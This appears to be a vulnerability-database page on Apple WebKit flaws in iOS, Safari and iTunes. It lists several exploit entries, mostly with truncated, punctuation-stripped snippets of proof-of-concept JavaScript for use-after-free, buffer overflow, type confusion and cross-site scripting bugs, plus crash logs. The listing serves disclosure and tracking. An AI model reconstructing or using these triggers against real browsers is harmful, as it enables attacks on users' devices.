The vulnerability of the iOS operating system, the Safari browser, and the iTunes media player allows attackers to obtain confidential information or circumvent existing access restrictions policies.

The vulnerability of the WebKit component of the iOS operating system, Safari browser, and iTunes media player exists due to insufficient validation of input data. Exploiting this vulnerability can allow a malicious actor to bypass existing access restrictions or obtain confidential information...

Apple WebKit - Document::adoptNode Use-After-Free Exploit

Exploit for multiple platform in category dos / poc var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f =...

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on address...

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting Expl

Exploit for multiple platform in category web applications URL scriptURL; URL url; if protocolIsJavaScripturlString scriptURL = completeURLurlString; // completeURL encodes the URL. url = blankURL; else url = completeURLurlString; if shouldConvertInvalidURLsToBlank && !url.isValid url = blankURL;...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting Exploit

Exploit for multiple platform in category web applications child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not...

Apple WebKit Safari 10.0.3 (12602.4.8) - Synchronous Page Load Universal Cross-Site Scripting

Apple WebKit Safari 10.0.3 12602.4.8 - Synchronous Page Load Universal Cross-Site Scripting URL scriptURL; URL url; if protocolIsJavaScripturlString scriptURL = completeURLurlString; // completeURL encodes the URL. url = blankURL; else url = completeURLurlString; if shouldConvertInvalidURLsToBlan...

Apple WebKit Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element

Apple WebKit Safari 10.0.3 12602.4.8 - Universal Cross-Site Scripting via a Focus Event and a Link Element child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element...

Apple WebKit - 'Document::adoptNode' Use-After-Free

var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f = document.body.appendChilddocument.createElement'iframe'; f.contentDocument.adoptNodei0;...

Apple WebKit - 'JSC::B3::Procedure::resetReachability' Use-After-Free

function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000099738 at pc 0x000106c7af16 bp 0x700006a57850 sp...

Apple WebKit / Safari 10.0.3 (12602.4.8) - Universal Cross-Site Scripting via a Focus Event and a Link Element

child = mfirstChild removeBetweennullptr, child-nextSibling, child; notifyChildNodeRemovedthis, child; If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the...

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow

Apple WebKit - JSC::SymbolTableEntry::isWatchable Heap Buffer Overflow function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73 4...

Apple WebKit - Document::adoptNode Use-After-Free

Apple WebKit - Document::adoptNode Use-After-Free var s = document.body.appendChilddocument.createElement'script'; s.type = '0'; s.textContent = 'document.body.appendChildparent.i0'; var i0 = s.appendChilddocument.createElement'iframe'; s.type = ''; var f =...

Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow

function x = 0 var a; function arguments function b var g = 1; a5; f; g; ; , unsigned int, unsigned int webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73 4 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockForJSC::CodeSpeciali...

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free

Apple WebKit - JSC::B3::Procedure::resetReachability Use-After-Free function for var i = 0; i 1000000; ++i const v = Array & 1 ? v : 1; typeof o = 'object'; ; !-- Asan Log: ================================================================= ==32191==ERROR: AddressSanitizer: heap-use-after-free on...

WebKit Synchronous Page Load UXSS

WebKit: UXSS via a synchronous page load CVE-2017-2480 Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed. bool SubframeLoader::requestFrameHTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString&...

Apple TV < 10.2 Multiple Vulnerabilities

According to its banner, the version of Apple TV on the remote device is prior to 10.2. It is, therefore, affected by multiple vulnerabilities : - An out-of-bounds read error exists in LibTIFF in the DumpModeEncode function within file tifdumpmode.c. An unauthenticated, remote attacker can exploi...

WebKit WebCore::toJS Use-After-Free

WebKit: WebCore::toJS use-after-free CVE-2017-2476 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar i=0;i...

WebKit ComposedTreeIterator::traverseNextInShadowTree Use-After-Free

WebKit: ComposedTreeIterator::traverseNextInShadowTree use-after-free CVE-2017-2466 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac. PoC:...

WebKit constructJSReadableStreamDefaultReader Type Confusion

WebKit: Type confusion in constructJSReadableStreamDefaultReader CVE-2017-2457 EncodedJSValue JSCHOSTCALL constructJSReadableStreamDefaultReaderExecState& exec VM& vm = exec.vm; auto scope = DECLARETHROWSCOPEvm; JSReadableStream stream = jsDynamicDowncastexec.argument0; if !stream return...